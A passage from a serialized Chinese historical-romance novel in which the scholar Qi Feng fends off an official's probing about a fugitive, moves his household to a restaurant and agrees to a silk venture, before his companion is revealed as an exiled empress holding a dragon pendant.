正厅内的气氛随着萧无痕这话一出口变得微妙,他的目光如鹰般锐利,牢牢锁在齐枫身上。
齐枫脸上笑意不减,眼中却闪过一丝疑惑。
他慢悠悠道:“萧大人这话,齐某有些听不明白。段飞是朝廷重犯,行事诡秘,是否真有同党,齐某一介书生,哪敢妄加揣测?莫非……萧大人怀疑齐某与那段飞有何勾结?”
第一百二十一章 出谋划策
厅内气氛再度陡然一紧。小荷站在齐枫身后,小脸一皱,忍不住瞪了萧无痕一眼,似在埋怨他话里有话。
赵明德见状,连忙摆手,哈哈一笑,打破了这微妙的僵局:“齐贤弟,你这是误会了!萧大人怎会怀疑你与段飞有勾结?你可是春闱榜首,青田县的骄傲,府城上下谁人不知你的清白?今日请你来,不过是看重你这脑子灵活,思虑缜密,想听听你的高见,猜猜那段飞可能藏身何处!”
卢正淳也捋着胡须,点头附和:“赵大人说得是。齐公子才智过人,谈笑间便压倒群雄,足见你的机敏,段飞这贼人狡猾异常,萧大人虽已封锁城门,可至今毫无线索。齐公子不妨帮衬一二,替我们分析分析,这段飞可能躲在何处?”
齐枫这才折扇一合,挑眉笑道:“赵大人,卢大人,你们这帽子扣得可不小。齐某不过一介书生,平日里舞文弄墨还行,抓贼追凶这等事,怕是帮不上什么大忙。不过,既然两位大人抬爱,萧大人又亲自相邀,齐某便姑且说说自己的浅见,若有不当之处,还请诸位海涵。”
萧无痕目光微眯,嘴角笑意更深,沉声道:“齐公子不必自谦。你的才智本官早有耳闻。段飞昨日身受重伤,左臂几乎废了,又中了本官的刀气,绝非普通江湖草莽能比。齐公子若有高见,不妨直言,本官洗耳恭听。”
齐枫目光扫过萧无痕:“萧大人言重了。段飞既是朝廷重犯,刀法高强,逃命的本事自然不差。不过,他昨日在宴会上被萧大人伤得不轻,左臂伤口深可见骨,行动定然不便。依齐某看,他如今最要紧的,不是四处逃窜,而是找个地方疗伤。”
他顿了顿,目光在厅内众人身上流转,继续道:“段飞这等江湖人物,行事向来谨慎,受伤之后,断不会贸然暴露行踪。若我是段飞,定会先寻一处隐秘之地藏身,比如城中那些不起眼的小医馆,或者偏僻的民居,甚至是废弃的宅院。这些地方人烟稀少,官兵巡查不易,最适合他暂时躲避风头。”
赵明德闻言,眼睛一亮,拍案叫绝:“齐贤弟果然聪明!这分析有理有据,段飞身负重伤,行动不便,确实得找地方疗伤!小医馆,民居,废弃宅院,这些地方隐蔽性强,的确是藏身的好去处!”
卢正淳也点头,捋着胡须笑道:“齐公子的思路果然清晰,段飞那贼人狡猾异常,若藏在这些地方,寻常搜查还真未必能找到。萧大人,齐公子的建议,可否一试?”
萧无痕目光一闪,缓缓点头:“齐公子此言,倒是与本官的想法不谋而合。本官已命人在城中各医馆布下眼线,但凡有可疑伤者求医,定逃不过官兵的盘查。至于民居和废弃宅院,本官也已派人逐一排查,只是府城地广人多,短时间内要找出段飞,怕是有些难度。”
齐枫闻言,折扇轻敲掌心,笑眯眯道:“萧大人思虑周全,布下天罗地网,段飞便是插翅也难飞出府城。不过,齐某还有一言,段飞既受了重伤,行动不便,断不会跑得太远。依齐某看,他多半还藏在城南一带。”
“城南?”赵明德眉头一挑,疑惑道:“齐贤弟何出此言?城南虽是府城的老城区,巷弄复杂,但官兵巡查频繁,段飞怎敢藏在那里?”
齐枫笑道:“赵大人有所不知。城南巷弄虽多,但正因地形复杂,藏身之处也多,那些老旧的民居,废弃的庭院,甚至还有些地下暗室,都是段飞这等江湖人物的藏身之选。他若想躲避官兵追捕,城南的复杂地形,远比城北的开阔街道更适合藏匿。”
他顿了顿,继续道:“再说,段飞昨日在宴会上大闹一场,逃遁时定是慌不择路。城南离知府府邸不远,他受伤后,体力不支,怕是没跑多远便寻了个地方藏身。
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萧大人若想尽快找到他,不妨在城南多加些人手,重点排查那些偏僻的小巷和无人问津的旧宅。”
萧无痕闻言,目光微微一亮,沉声道:“齐公子果然观察入微。城南地形复杂,确实是藏身的好地方。本官昨日追捕段飞时,他逃遁的方向,的确偏向城南。齐公子的分析,与本官的判断不谋而合。”
赵明德哈哈一笑,拍手道:“齐贤弟,你这脑子真是活络得紧!卢大人,咱们这些老家伙,怕是要被齐贤弟比下去了!城南排查一事,萧大人可有具体部署?”
萧无痕点头道:“赵大人放心,本官已命人在城南加派人手,挨家挨户排查,绝不放过任何可疑之处。只是,段飞这贼人狡猾异常,刀法高强,若真藏在城南,怕是得费一番周折。”
卢正淳捋着胡须,沉吟道:“萧大人说得是。段飞既是朝廷重犯,行事定然谨慎。齐公子的分析虽有道理,但若段飞真有同党接应,怕是藏得更深。萧大人可否考虑,扩大搜捕范围,连城外的村镇也一并排查?”
齐枫折扇一展,笑道:“卢大人此言有理。段飞若真有同党,城外村镇也是藏身的好去处。不过,依齐某看,段飞昨日受伤颇重,短时间内怕是难以离开府城。城外的村镇虽隐蔽,但交通不便,他若想疗伤,城内的医馆和药肆仍是首选。”
他目光一闪,继续道:“再说,段飞这等江湖人物,惯于独来独往,所谓同党,未必真有。即便有接应之人,也多半是临时找来的帮手,难成大器。萧大人若想尽快抓住他,不妨在城南的药肆和小医馆多下些功夫,派人盯着那些购买金创药或止血散的可疑之人,定能有所收获。”
赵明德拍案叫绝:“齐贤弟这主意妙啊!段飞受伤不轻,定然需要药材疗伤。药肆和医馆,正是他绕不开的地方!萧大人,这法子可行!”
第一百二十三章 心眼子多
三人步出知府府邸,小荷蹦蹦跳跳地走在齐枫身侧,忍不住道:“少爷,萧大人这人真是奇怪!抓叛贼这么大的事,干嘛非要拉上你一个书生?还说什么让你去观摩,摆明了是想试探你嘛!”
楚清秋目光微闪,道:“小荷说得有理。萧大人今日找少爷,怕是不止为了段飞之事。他提到乾国余孽,分明是在试探少爷是否与此事有关。少爷方才应对得当,未露破绽,但萧无痕这人,心机深沉,怕是不会轻易罢休。”
齐枫折扇一展,脸上笑意更浓,带着几分神秘:“小荷,青禾,你们多虑了。萧无痕这狐狸,想试探本少爷,哪有那么容易?至于他为何拉上我……”
他顿了顿,目光扫过街头,嘴角微微上扬,露出一抹意味深长的笑意。
小荷瞪大眼睛,扭头看向楚清秋,急道:“青禾姐姐,我不知道为什么,萧大人不是说要抓段飞和那些乾国余孽吗?怎么还扯上少爷了?”
楚清秋轻笑一声,面纱下的嘴角微微上扬,缓缓道:“小荷,你想得太简单了。袁克良昨日带人搜查客栈,指控少爷与段飞有染,虽被少爷巧妙化解,可这事儿在萧大人心里,终究埋下了一颗怀疑的种子。”
“人就是这样,一旦起了疑心,哪怕没有真凭实据,也会下意识觉得哪里不对。萧大人如今对少爷的态度,便是半信半疑。”
她顿了顿,目光扫向街头熙攘的人群,继续道:“今日萧大人邀少爷去知府府邸,又提到清风阁的行动,还要少爷一同前往观摩,分明是想试探少爷的反应。”
“若少爷真与段飞或余孽有牵连,得了这消息,怕是会先一步去清风阁通风报信。如此一来,萧大人便能抓住少爷的把柄。”
小荷闻言,小脸一皱,猛地回头朝身后看去,皱眉道:“青禾姐姐,你这么一说,我怎么觉得背后凉飕飕的?好像真有人在盯着咱们!”
她瞪大眼睛,四下张望,想找出那若有若无的目光,可街头人来人往,哪里能看出端倪?
楚清秋轻笑,揶揄道:“小荷,你这小丫头,感觉倒是挺敏锐。不过,若你都能察觉到有人跟踪,萧大人怕也不会如此大费周章了。萧无痕出自名门,又是朝廷命官,若没几分心机,怎可能在朝堂立足?怕是早就被人算计**。”
她说到这里,语气微微一顿,眼中闪过一丝唏嘘,似是想起了什么往事,声音低了几分:“这府城看似平静,实则暗流涌动。萧无痕能坐到今日的位置,靠的可不只是武功和官威,心眼子多着呢。”
小荷闻言,眼睛亮晶晶的,拍手道:“青禾姐姐,你懂得真多!听你这么一说,我算是明白了,萧大人这人年纪轻轻,心思深得跟个老狐狸似的!不过,他这次怕是要失望了!少爷跟段飞那帮人可没半点关系,他想抓少爷的把柄,门儿都没有!”
齐枫走在两人身侧,闻言只是微微一笑,心中却暗自摇头。
萧无痕的确聪明,布置天罗地网,步步试探,可他再精明,也想不到自己不仅治好了段飞的伤势,还用银针易容之术给他改头换面。
如今的段飞,早已不是昨日的黑风刀,萧无痕便是掘地三尺,也休想找到半点线索。
他脸上笑意更浓道:“青禾,小荷,你们俩就别在这儿瞎猜了。萧无痕想试探便让他试探,本少爷行得正坐得端,怕他作甚?咱们还是赶紧回客栈,省得在这大街上晒太阳。”
小荷吐了吐舌头,笑嘻嘻道:“少爷说得是!这大热天的,回去喝杯茶多好!青禾姐姐,走,咱们快点回去,别让那些鬼鬼祟祟的眼线瞧得心慌!”
楚清秋瞥了小荷一眼,嗔道:“小荷,你这小丫头,嘴上没个把门。”
三人说笑着,沿着府城街道朝客栈走去。
回到客栈,刚一踏入院子,便见柳若雪一袭淡紫长裙,站在院中,身边还放着几个精致的包裹。
她的婢
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女小翠正忙着指挥小二将行李搬进客栈,见到齐枫等人,柳若雪浅笑道:“齐公子,青禾姑娘,小荷妹妹,若雪冒昧来访,未曾提前知会,还望勿怪。”
小荷一见柳若雪,眼睛一亮,跑上前道:“柳姐姐,你怎么来啦?还带了这么多行李,这是要住下吗?”
柳若雪轻笑,柔声道:“小荷妹妹好眼力。若雪近日在府城盘桓,客栈住得有些不惯,思来想去,还是齐公子这处清净,便厚着脸皮来叨扰几日。齐公子,不会嫌若雪麻烦吧?”
齐枫挑眉哈哈一笑:“柳姑娘这是哪里话?云州第一伶肯赏脸住进本少爷的客栈,求之不得还来不及,怎会嫌麻烦?小荷,赶紧让人收拾几间上房,招待好柳姑娘!”
小荷拍手道:“好嘞!少爷放心,柳姐姐住进来,咱们客栈可就更热闹了!柳姐姐,你那些诗词歌赋,可得教教我,省得我整天被少爷笑话没学问!”
柳若雪掩嘴一笑,目光扫过齐枫,柔声道:“小荷妹妹若想学,若雪自当倾囊相授。只是,齐公子的才学,怕是若雪也得甘拜下风,改日还得向齐公子请教一二。”
齐枫摆手,笑道:“柳姑娘过奖了。本少爷那点墨水,哪敢在你面前班门弄斧?既来了,便安心住下,客栈虽简陋,但清净自在,柳姑娘定不会失望。”
正说着,院外传来一阵轻快的脚步声,南宫玥一袭月白长裙,翩然而至。
她身后跟着婢女碧儿,手中还提着个精致的食盒。南宫玥一见院中的热闹景象,眉眼弯弯,笑道:“齐公子,青禾姑娘,小荷妹妹,柳姑娘,月儿来得巧,这院子可真热闹。齐公子,这客栈虽清净,终归简陋了些,不如搬去醉月楼住吧?月儿已备好上好的厢房,包管齐公子住得舒心!”
小荷闻言,眼睛一亮,拍手道:“南宫姐姐,你这主意好!醉月楼的菜好吃,房间也比咱们这破客栈强多了!少爷,咱们搬过去吧?”
第一百二十四章 盛情难却
齐枫目光在南宫玥和柳若雪之间流转,笑眯眯道:“两位姑娘如此盛情,本少爷若再推辞,怕是要被说成不解风情了。只是,客栈这边还有些琐事未了,搬去醉月楼的事,不如稍作安排,今日便过去,如何?”
南宫玥柔声道:“齐郎说得是,醉月楼的厢房早已备好,齐公子何时想搬,月儿随时恭候。”
她顿了顿,目光扫过柳若雪,带着几分俏皮道:“柳姑娘既也来了,不如一同搬去醉月楼,那里房间宽敞,菜肴精致,定比这客栈舒心。”
柳若雪点头:“南宫姑娘盛情,若雪自不好推辞。只是怕给齐公子添了麻烦,毕竟我们这一行人,怕是要占不少地方。”
小荷拍手,兴奋道:“柳姐姐,南宫姐姐,你们都别客气了!醉月楼那么大,住咱们几个人还不是绰绰有余?少爷,咱们赶紧收拾收拾,搬过去吧!”
楚清秋站在一旁道:“少爷,咱们客栈这边还有些东西要收拾,贸然搬过去,怕是不妥。不如让小荷先去整理行李,我与少爷再安排一番,免得落下什么。”
齐枫笑道:“青禾说得有理。小荷,你去收拾咱们的行李,别忘了把本少爷的书箱带上,那些诗稿可不能丢了。柳姑娘若不嫌弃,也让小翠帮着收拾,咱们今晚就搬去醉月楼,叨扰南宫姑娘一番。”
南宫玥轻笑,温声道:“齐郎何必如此客气?醉月楼能迎来齐公子和柳姑娘这样的贵客,月儿求之不得,碧儿,你去安排几辆马车,帮齐公子等人把行李搬过去,再让厨房备些点心,免得小荷妹妹嘴馋。”
碧儿福了一礼,笑盈盈道:“是,小姐。奴婢这就去安排。”说罢,她转身快步离开,招呼小二去准备马车。
小荷眼睛一亮,拽着柳若雪的袖子,雀跃道:“柳姐姐,走,咱们去收拾行李!南宫姐姐的点心可好吃了,搬过去咱们有口福啦!”
柳若雪被小荷的热情逗笑:“小荷妹妹真是活泼。既如此,若雪便随你去收拾一番,免得拖了后腿。”
她朝齐枫和南宫玥微微点头,与小荷和小翠一同回了客栈内院。
齐枫看向楚清秋:“青禾,你方才说萧无痕可能派人监视咱们,搬去醉月楼怕是也不清净。咱们的行李里,有些东西得小心收拾,免得让人看出端倪。”
楚清秋目光微闪,点头道:“少爷放心,我自会安排妥当。段飞之事,萧无痕既起了疑心,怕是不会轻易放手。咱们搬去醉月楼,表面上是图清净,实则也能借南宫姑娘的地盘,避开一些耳目。”
齐枫道:“青禾,你这脑子,比本少爷还灵光。走吧,咱们也去收拾一番,晚上就住进醉月楼,看看萧无痕还能玩出什么花样。”
两人说罢,回了客栈内院,与小荷等人一起整理行李。
客栈虽简陋,但齐枫一行人东西不少,尤其是齐枫的书箱,装满了诗稿,字帖和几本珍贵的医书。
小荷忙前忙后,嘴里还嘀咕着:“少爷,你这些书也太沉了!搬到醉月楼可得找个好地方放,不然我这小胳膊小腿的,怕是要累断喽!”
齐枫敲了敲小荷的额头:“小荷,你这小丫头,搬几本书就喊累?回头到了醉月楼,南宫姑娘的桂花糕管够,保管你干活有劲儿!”
小荷吐了吐舌头,笑嘻嘻道:“少爷,你这话我爱听!那我可得赶紧收拾,争取早点吃上南宫姐姐的点心!”
柳若雪在一旁整理自己的行李:“小荷妹妹,瞧你这馋样,齐公子,你这小丫头,平日里没少被你惯着吧?”
齐枫挑眉戏谑道:“柳姑娘说得是,小荷这丫头,嘴馋得跟只小猫似的。不过,她这性子讨喜,本少爷乐得宠着。”
楚清秋在一旁收拾着几件衣物,闻言瞥了齐枫一眼:“少爷惯着小荷便罢了,可别把柳姑娘也宠坏了。云州第一伶的名头,可不是靠吃点心得来的。”
柳若雪掩嘴
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一笑,柔声道:“青禾姑娘放心,若雪可没小荷妹妹那般嘴馋。今日能搬去醉月楼,已是叨扰,哪还敢奢望别的?”
一行人说说笑笑,不多时便收拾好行李。
碧儿带着几辆马车停在客栈门口,小二们手脚麻利地将行李搬上车。
南宫玥亲自站在院中指挥,月白长裙在夕阳下泛着柔光,温婉中透着几分干练。
马车辚辚而行,穿过府城热闹的街道,很快便到了醉月楼。
南宫玥引着众人步入楼内,笑道:“齐郎,柳姑娘,青禾姑娘,小荷妹妹,厢房已备好,几位随月儿来吧。”
她带着众人上了二楼,推开几间雅致的厢房。
房间内檀香袅袅,木质家具古朴典雅,窗边摆着几盆兰花,空气中弥漫着淡淡的花香。
床榻上铺着崭新的锦被,桌上还摆着几盘精致的点心,桂花糕,莲蓉酥一应俱全。
小荷一进房间,眼睛就亮了,扑到桌前拿起一块桂花糕,咬了一口,满足地眯起眼:“南宫姐姐,你这醉月楼真是太好了!比客栈强一百倍!少爷,咱们以后就住这儿吧!”
南宫玥轻笑,温声道:“小荷妹妹喜欢就好。这些点心是月儿特意让厨房准备的,几位若有其他想吃的,只管开口,醉月楼的厨子,定不会让你们失望。”
柳若雪环顾房间:“南宫姑娘费心了。这厢房布置得如此雅致,若雪住进来,怕是要乐不思蜀了。”
楚清秋站在一旁,目光也扫过房间:“南宫姑娘有心了。”
齐枫笑道:“南宫姑娘的盛情,本少爷铭记在心,南宫姑娘若有劳烦之处,你可别客气,直说便是。”
南宫玥俏脸微红,娇声道:“齐郎,你这话说得月儿都不好意思了。能请到你和柳姑娘这样的贵客,醉月楼蓬荜生辉,月儿哪会觉得劳烦?几位只管安心住下,月儿自会安排妥当。”
正说着,楼下忽地传来一阵喧哗声。
第一百二十五章 想要合作
碧儿快步上楼,福了一礼,禀报道:“小姐,齐公子,楼下周公子他们来了。”
众人下了楼,只见大堂内站着几道熟悉的身影。徐远一身锦袍,手持折扇,笑得一脸豪爽,陈玉堂见到齐枫便拱手一笑,周子陵也是笑眯眯的。
徐远一见齐枫,大步上前,拍着他的肩膀道:“齐兄,听说你搬到醉月楼来了,今儿特意带了好酒来,定要与你喝个痛快!”
陈玉堂也笑道:“我们便厚着脸皮来叨扰了,齐兄勿怪!”
齐枫哈哈一笑,折扇一展:“徐兄,陈兄,诸位来得正好!本少爷刚搬来醉月楼,正愁没人陪酒,你们这就送上门来了,南宫姑娘,麻烦你安排个包厢,咱们今晚好好喝一场!”
南宫玥温声道:“齐郎放心,包厢早已备好,诸位请随月儿来,酒菜马上就上,保证诸位尽兴。”
她转身引着众人朝一间雅致的包厢走去,齐枫等人紧随其后,气氛热闹非凡。
包厢内檀香袅袅,桌上摆满了醉月楼的招牌菜肴,色香味俱全,令人垂涎欲滴。
几盏精致的琉璃灯悬在梁上,齐枫坐在主位,笑眯眯地招呼众人:“徐兄,陈兄,周兄,诸位兄弟,今日难得聚在一堂,莫辜负了南宫姑娘的好酒好菜,敞开了吃喝!”
徐远举杯,豪爽道:“齐兄说得是!今日能与齐兄同席,兄弟我可是三生有幸!来,诸位,满饮此杯!”
他一仰头,将杯中酒一饮而尽,惹得众人一阵叫好。
陈玉堂端起酒杯,目光扫过齐枫,笑道:“齐兄,我也敬你一杯!”
齐枫哈哈一笑,举杯回敬:“今日有诸位兄弟捧场,本少爷才算面上有光。干了!”
他一饮而尽,折扇一展,风度翩翩,引得众人又是一阵喝彩。
柳若雪坐在一旁,柔声道:“齐公子,诸位公子,你们这喝酒的豪气,若雪可比不上。不过,醉月楼的酒香,的确让人心动,若雪也敬诸位一杯,聊表心意。”
她举起酒杯,浅抿一口,姿态优雅,惹得徐远等人连连称赞。
南宫玥站在一旁,亲自为众人斟酒,她轻笑,温声道:“诸位公子,柳姑娘,月儿备下的酒菜,若有不周之处,还望海涵。”
众人说笑间,酒菜渐尽,气氛愈发热闹。酒过三巡,菜过五味,陈玉堂放下酒杯,目光落在齐枫身上,沉声道:“齐兄,你如今春闱榜首的名头响彻府城,下一步有何打算?总不会一直在醉月楼吃喝玩乐吧?”
齐枫笑道:“陈兄这话问得直白。本少爷下一步,自然是准备考举人。不过,举人考试还有将近一年的时间,这期间,齐某得好好想想,怎生在这府城混出点名堂来。毕竟,舞文弄墨虽好,总不能光靠诗词吃饭吧?”
周子陵眼睛一亮,拍手道:“齐兄这话说到我心坎里去了!说起来,兄弟我最近正琢磨一桩生意,想邀齐兄一起干!咱们府城南边的丝绸生意,近来颇有起色,我家在城南有几间铺子,专做上好的杭绸和蜀锦。若齐兄有兴趣,咱们合伙开个商号,专做高端丝绸买卖,保管赚得盆满钵满!”
徐远一听,来了兴致,忙道:“周兄,你这生意听起来不错!齐兄,若你点头,兄弟我也想掺一脚!咱们在城东有几间仓库,正好能用来囤货。齐兄的才学和人脉,配上咱们的铺子和仓库,这生意指定差不了!”
陈玉堂点头,沉声道:“齐兄,徐远说得有理,我陈氏虽不擅商贾,但在城西有几处宅院,可改作商号的门面。若齐兄有意,玉堂也愿出一份力。这丝绸生意,若做得好,怕是要名动府城!”
南宫玥巧笑嫣然道:“诸位公子好兴致。齐郎若要做这丝绸生意,月儿也想掺一脚。醉月楼虽是酒楼,但这些年也攒了些人脉,城中的贵妇小姐们,最爱杭绸和蜀锦,月儿可帮着牵线搭桥,保管生
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意红火。”
柳若雪也道:“诸位都如此热心,若雪也不好袖手旁观。齐公子若不嫌弃,若雪在云州的伶人圈子里有些薄名,可为商号宣传一二。毕竟,丝绸生意,少不了才子佳人的追捧。”
齐枫哈哈一笑,戏谑道:“诸位这是怎么了?本少爷不过是随口一提,怎的就惹得大家如此热情?南宫姑娘,柳姑娘,连你们二位也来凑热闹,本少爷真是受宠若惊!”
周子陵摆手,笑道:“齐兄,你这话可不对!哪里是你受宠若惊,分明是我们受宠若惊!想当初,你没来府城之前,咱们周氏、许氏、陈氏三家,哪次不是明争暗斗,恨不得把对方踩下去?自从你来了,这府城的气氛都不一样了!咱们三家的关系缓和了不少,连其他家族也跟着和气了。齐兄,你这人,简直就是府城的福星!”
徐远举杯附和道:“周兄说得是!齐兄,你一来,府城的才子们都服气,宴会上你的诗才,连柳姑娘都甘拜下风。这丝绸生意,有你牵头,咱们保管齐心协力,赚个满堂红!”
陈玉堂点头沉声道:“齐兄,你的才学和人脉,府城无人能及。这生意若成了,不仅咱们几家受益,府城的商贸也能更上一层楼。齐兄,你可莫要推辞!”
齐枫摇头笑道:“诸位如此抬爱,齐某若再推辞,怕是要被说成不识抬举了。既然大家有心,这丝绸生意,咱们便试试看!不过,生意上的事,齐某可不擅长,具体章程,还得靠许兄,周兄和陈兄多费心了。”
南宫玥轻笑道:“齐郎放心,月儿虽是女子,但醉月楼这些年也攒了些经营的门道。回头月儿与诸位公子商议一番,定能把这商号办得红红火火。”
柳若雪柔声道:“齐公子,诸位公子,生意之事,若雪虽不擅经营,但宣传之事,尽可交给若雪。云州的戏班子和伶人,最擅长造势,保管让咱们的商号名声大噪。”
第一百二十六章 龙佩出现!
小荷原本在一旁啃着桂花糕,闻言拍手道:“少爷,柳姐姐,南宫姐姐,你们这生意听着就好厉害!到时候赚了大钱,可别忘了给我多买点好吃哒!”
众人被小荷逗得哈哈大笑,酒过三巡,菜过五味,徐远醉态可掬,起身道:“齐兄,时候不早,兄弟们就先回去了。丝绸生意的事,回头咱们再细商。南宫姑娘的酒菜,今日真是吃得痛快!
陈玉堂也起身,拱手道:“齐兄,南宫姑娘,柳姑娘,玉堂今日尽兴,就先告辞了。商号的事,改日再议。”
周子陵举杯,笑道:“齐兄,醉月楼的酒好,兄弟我差点舍不得走!不过,生意的事,咱们可得抓紧,回头我把铺子的账本拿来,咱们好好合计合计!”
齐枫笑着送客:“诸位兄弟慢走。今日多谢捧场,丝绸生意的事,咱们慢慢商议。南宫姑娘,麻烦你送送几位兄弟。”
南宫玥点头,温声道:“诸位公子慢走,月儿送你们到楼下。”
她引着徐远等人出了包厢,朝楼下走去。
柳若雪也起身,柔声道:“齐公子,青禾姑娘,小荷妹妹,若雪今日也喝得有些醉了,先回房歇息。商号的事,改日再聊。”
她朝齐枫等人微微点头,带着小翠回了厢房。
齐枫带着楚清秋和小荷回到自己的厢房,房间内灯火柔和,桌上还摆着几盘没吃完的点心。
小荷一进门就扑到桌前,抓起一块莲蓉酥,边吃边道:“少爷,徐公子他们为啥都抢着跟你做生意啊?瞧他们那热情劲儿,恨不得把家底都掏出来!”
楚清秋闻言,面纱下的嘴角微微上扬,带着几分揶揄,笑道:“小荷,你这小丫头,还看不出来?他们当然是想巴结少爷了。”
小荷咬了一口莲蓉酥,腮帮子鼓鼓的,闻言瞪大眼睛,扭头看向楚清秋,嘀咕道:“青禾姐姐,你是说周公子他们巴结少爷,是为了自己的前程?那他们跟少爷做生意,到底有几分真心啊?而且他们不都是大家族子弟吗?”
楚清秋面纱下的目光微微闪动,语气清冷却带着几分笑意,继续道:“小荷,你这小丫头,想得太简单了。少爷如今中了秀才,春闱榜首的名头响彻府城,又得了赵大人和卢大人的看重,前途自然无量。”
“徐远,周子陵,陈玉堂这些家族子弟,虽是嫡系,可在家族中尚未完全站稳脚跟。想要继承家主之位,光靠血脉可不够,还得做出些实打实的成绩。巴结少爷,借少爷的才学和人脉,他们的地位自然更稳。”
她顿了顿,目光扫过齐枫:“少爷如今是府城的香饽饽,他们争着与少爷做生意,一来是看中了丝绸生意的利润,二来也是想借少爷的名头,在府城站得更稳。这世道,利益当前,谁能不动心?”
小荷闻言,小脸皱成一团,嘟着嘴道:“青禾姐姐,你这话说得我头都晕了!这些家族的事儿,怎么这么复杂啊?照你这么说,周公子他们跟少爷交朋友,都是为了自己的好处?那还有没有真心了?”
楚清秋轻笑一声,摇了摇头,缓缓道:“小荷,复杂的事儿多了去了。这世上,哪有那么多纯粹的交情?徐远、周子陵他们,与少爷相交,一部分是真心佩服少爷的才学,可另一部分,终究还是为了利益。人心如此,掺杂几分算计,再正常不过。”
小荷不服气地哼了一声,腮帮子鼓得更高,嘟囔道:“那我可不一样!我对少爷可是纯粹的!一点算计都没有!”
她顿了顿,眼睛亮晶晶地看向齐枫,补充道:“少爷,你对我们俩,肯定也是纯粹的,对吧?”
齐枫闻言,哈哈一笑,敲了一下小荷脑袋,戏谑道:“小荷,你这小丫头,倒是会给自己脸上贴金。世上之人,可不是都像咱们家小荷这么单纯。不过,你放心,本少爷对你们俩,自然是掏心掏肺,半点算计都没有。”
小荷被敲得一缩脑袋,揉了揉额头
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,嘟嘴道:“少爷,你就知道欺负我!不过,你这话我爱听!青禾姐姐,你听见了吧?少爷对咱们可是真心的!”
楚清秋瞥了小荷一眼,面纱下的嘴角微微上扬:“小荷,你这性子,倒是真讨人喜欢。少爷说得对,这世上像你这般纯粹的,可不多见。”
齐枫笑道:“好了好了,你们俩别在这儿互相吹捧了。青禾说得有理,徐远他们有几分真心,也有几分算计,本少爷心里有数。生意上的事,咱们慢慢来,至于交情,日子长了,自然能看出谁真谁假。”
小荷吐了吐舌头,抓起最后一块莲蓉酥,边吃边道:“少爷,你说得对!反正我不管那些复杂的事儿,只要跟着你和青禾姐姐,吃好喝好就行!这醉月楼的点心,真是吃不够!”
楚清秋闻言,嗔道:“小荷,你这小馋猫,迟早把南宫姑娘的厨房吃空。时候不早,我也回房歇息了。少爷,你也早些休息,今日在知府府邸应付萧大人,怕是费了不少心神。”
齐枫点头,笑道:“青禾,你先去休息吧。小荷,收拾收拾桌子,别把点心渣子弄得到处都是。”
小荷撇撇嘴,笑嘻嘻道:“知道啦,少爷!我这就收拾!”
她麻利地收拾起桌上的残羹剩饭,嘴里还哼着小曲儿,显得心情极好。
楚清秋朝齐枫微微点头,转身出了厢房,回了自己房间。
齐枫坐在椅上,目光扫过窗外,府城的夜色已然降临,灯火点点,映得醉月楼外一片繁华。
不多时,楚清秋门外传来一阵轻快的脚步声,柳若雪一袭淡紫长裙,翩然而至。
见到她,楚清秋眸光平平,周身却萦绕着一股若有若无的威压,令人不寒而栗。
柳若雪来到楚清秋面前,先是行了一礼,随后环顾四周,这才从怀中拿出了一物。
此物巴掌大小,通体赤红,如两条游龙环绕。
柳若雪小声道:“陛下,龙佩在此!”
第一百二十七章 冒险的决策
楚清秋的目光落在柳若雪手中的赤红龙佩上,那巴掌大小的物件在灯火下熠熠生辉,两条游龙环绕,似在云雾间翻腾,透出一股古老神秘的气息。
她轻轻点了一下头,面纱下的眼神沉静如水,仿佛早已预料到这一刻的到来。
柳若雪见状,眼中闪过一丝激动:“陛下,臣已与云州镇北将军霍天都打过照面,他如今隐居在云州边境的一处山庄内,表面上是个闲散富商,实则暗中联络旧部,筹备复国大计。他得知龙佩重现,激动不已,说随时可动用旧部人马,护送陛下前往乾国故都,寻找那传说中的宝藏!”
楚清秋闻言,目光微微一闪,缓缓道:“霍天都……他倒是忠心耿耿,乾国覆灭,他率北境边军死守云州关,杀敌无数,险些让景国折了大半兵马。没想到,他竟能隐忍至今,暗中筹谋。”
柳若雪点头,眼中满是敬佩:“正是!霍将军这些年韬光养晦,表面上退出朝堂,实则暗中联络乾国旧臣,积蓄力量。他在云州的势力虽不及当年,但若能聚拢旧部,配合龙佩中的秘图,找到乾国宝藏,复国大业便有希望!”
她顿了顿,声音更低了几分:“霍将军还说,当年乾国覆灭,内忧外患,宫中太医未能察觉陛下**,定有内鬼,他这些年一直在追查此事,已有些眉目,据他推测,毒害陛下的幕后之人,可能与景国皇室有关,甚至可能牵扯到如今的皇后萧氏。”
楚清秋闻言,目光陡然一冷:“萧氏!当年乾国边境频频告急,景国趁虚而入,萧氏在背后推波助澜,早已不是秘密。没想到,他们连毒害朕的手段都用上了。”
柳若雪咬紧嘴唇,眼中燃起怒火:“陛下,霍将军说,龙佩中的秘图不仅藏着宝藏的位置,还可能记录了当年宫廷的一些秘辛。若能找到宝藏,不仅能得金银财物,还可能找到证据,臣以为,此事若成,复国大业便有了根基!”
楚清秋沉默片刻,目光落在龙佩上,缓缓道:“若雪,你与霍天都联络,确是费了不少心思。只是,这龙佩重现,景国朝廷必然不会坐视不管。萧无痕来到府城,就是冲着龙佩而来,他的飞刀绝技,百步之内取人首级,若让他察觉到你我行踪,怕是要横生枝节。”
柳若雪点头,眼中闪过一丝忧虑:“陛下说得是。萧无痕此人,心机深沉,手段狠辣,昨日在宴会上试探齐公子,便可见其城府之深。臣担心,他迟早会查到咱们头上。陛下,龙佩如今到手,您下一步打算如何?”
楚清秋闻言,目光微微一沉,负手而立,缓缓踱步到窗边。
窗外的府城夜色如墨,灯火点点,青川河的波光在远处隐约可见。
她沉默了许久,似在权衡利弊,半晌,她悠悠开口:“若雪,这龙佩之事,兹事体大,绝不能贸然行事。朕……打算将此事告知齐枫。”
柳若雪闻言,猛地一怔,眼中闪过浓浓的震惊,声音不自觉提高了几分:“陛下?您要将龙佩之事告知齐枫?这,这如何使得?”
她快步上前,一脸急切:“陛下,齐枫虽对您有救命之恩,又才智过人,可他毕竟是景国人!龙佩关乎乾国复国大业,秘图更是重中之重,若他知晓此事,万一,万一他心怀不轨,或是将此事泄露给景国朝廷,陛下您……”
楚清秋摆手,示意柳若雪稍安勿躁,目光平静地看向她:“若雪,朕知你担忧。但齐枫此人,朕观察已久,他表面纨绔,实则心怀大志,行事从不拘泥于常理。他救朕于水火,治朕之毒病,又多次在萧无痕的试探下护住朕的身份,绝非寻常之人。”
她顿了顿,眼中闪过一丝复杂:“更何况,朕如今寄人篱下,身中剧毒,寸步难行。若无齐枫的医术,朕怕是撑不到复国那日。他既能为朕解毒,便值得朕信他一回。”
